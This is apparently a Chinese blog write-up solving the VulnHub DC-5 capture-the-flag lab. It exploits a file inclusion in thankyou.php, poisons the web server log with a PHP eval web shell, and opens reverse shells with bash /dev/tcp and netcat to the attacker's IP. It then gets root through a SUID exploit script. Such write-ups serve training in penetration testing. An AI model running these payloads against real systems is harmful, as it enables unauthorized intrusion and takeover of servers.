VulnHub DC5

0x00 靶机环境

下载地址1:https://www.vulnhub.com/entry/dc-5,314/

下载地址2:https://pan.baidu.com/s/145lHlG6vhAvZaZq4tdzFnw 提取码: 9e43

在这里插入图片描述
只有一个flag也只有一个切入点,提示是页面刷新后会变化的东西。
在这里插入图片描述
开肝


0x01 渗透流程

nmap走起
在这里插入图片描述
看服务
在这里插入图片描述
有两个端口,但是还是先看80,毕竟题目都给了提示
在这里插入图片描述
点了一会,只发现了一个传参点,尝试了下注入,无果
在这里插入图片描述
接着又去扫了下目录,没发现什么有价值的点,只存在一个/images目录。

没办法了,只能开个burpsuite没事瞎点点,一会还真发现个有变化的地方。
在这里插入图片描述
在提交留言后,这里的日期会有变化 。同样的url会在2017-2020这四个数字中随机显示。但是除了这个thankyou页面会有变化外,其他的页面日期是不会改变的。所以这里就有点奇怪了,难不成其它的页面和footer和这个页面的footer不一样,这里大概率是通过包含来生成的footer的,就是不知道有没有漏洞了。

先尝试找到生成footer的页面,最先尝试的就是footer.php
在这里插入图片描述
还真的有,f**k,这么简单的文件居然没扫出来。。。这个文件就加深了推测的可能性,应该是有包含漏洞的,那接下来就是找到包含的参数名了,再扫一遍参数。
在这里插入图片描述
尝试包含index.php很快就找到了参数。测试了结果,不支持php://input,通过php://filter读到了源码,证实了之前的猜想,index.php文件中的footer是写入的,并非包含。而thandyou.php是包含的。

#thankyou.php
<!doctype html>

<html lang="en">
<head>
	<meta charset="utf-8">
	<title>Contact</title>
	<link rel="stylesheet" href="css/styles.css">
</head>

<body>
	<div class="body-wrapper">
		<div class="header-wrapper">
			<header>
				DC-5 is alive!
			</header>
		</div>
		
		<div class="menu-wrapper">
			<menu>
				<ul>
					<a href="index.php"><li>Home</li></a>
					<a href="solutions.php"><li>Solutions</li></a>
					<a href="about-us.php"><li>About Us</li></a>
					<a href="faq.php"><li>FAQ</li></a>
					<a href="contact.php"><li>Contact</li></a>
				</ul>
			</menu>
		</div>
	
		<div class="body-content">
			<h2>Thank You</h2>

				<p>Thank you for taking the time to contact us.</p>

		</div>
		
		<div class="footer-wrapper">
			<footer>
				<?php

					$file = $_GET['file'];
						if(isset($file))
						{
							include("$file");
						}
						else
						{
							include("footer.php");
						}

				?>
			</footer>
		</div>
	</div>
</body>
</html>

另外测试了远程文件包含也是失效的,所以想着直接拿shell的方法也失败了。
在这里插入图片描述
那接下就只有一个答案了,包含日志拿shell,先读个日志看看。
在这里插入图片描述
可以成功读取,那就写shell即可thankyou.php?file=<?php @eval($_POST[1]);?>,记得在burpsuite中提交,直接在url提交会被编码。
在这里插入图片描述
成功执行,之前扫得太狠了,日志非常慢,加载得特别慢,先试试菜刀连着
在这里插入图片描述
太卡了,通过bash再反弹一个出来用kali接着,bash -i >& /dev/tcp/192.168.181.141/12345 0>&1又失败了。。
在这里插入图片描述
之前的dc4也是无法反弹成功,下次做个总结。好在还有ncsystem('nc 192.168.181.141 12345 -e /bin/sh');
在这里插入图片描述
kali上顺利接到shell,搞来搞去,还不如直接将这命令写到access.log
在这里插入图片描述
通过python改善shell环境,python -c 'import pty;pty.spawn("/bin/bash")'
在这里插入图片描述
下一步准备提权。suid先看看呗。。
在这里插入图片描述
来了,suid总是不让人失望阿。。。又有奇怪的提权方式,msf走一波
在这里插入图片描述
41154.sh传到环境中去。
在这里插入图片描述
太惨了,wwwwww权限都没,传到/tmp中去
在这里插入图片描述
给权限后运行
在这里插入图片描述
报错了,shell格式问题,通过sed -i "s/\r//" 41154.sh解决
在这里插入图片描述
但是脚本仍然失败了,是/etc/ld.so存在的问题,只能尝试在本地编译好后再上传
在这里插入图片描述
给权限再次运行即可正常提权
在这里插入图片描述


0x02 总结

总是遇到bash反弹不成功,查阅到资料,如果有下列错误

/bin/sh: 1:Syntax error:Bad fd number

可以将bash -i >& /dev/tcp/192.168.181.141/1111 0>&1写入sh文件后再执行,就可以成功反弹
在这里插入图片描述
但是在菜刀中这样执行仍然失败了
在这里插入图片描述
经过查询,这问题是由某些linux系统中将sh默认是链接到了dash的缘故
在这里插入图片描述
解决办法如下:

sudo mv /bin/sh /bin/sh.orig
sudo ln -s /bin/bash /bin/sh

但是默认情况下,是没有修改这些文件权限的,所以目前来说,还是换其它反弹shell的方法。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值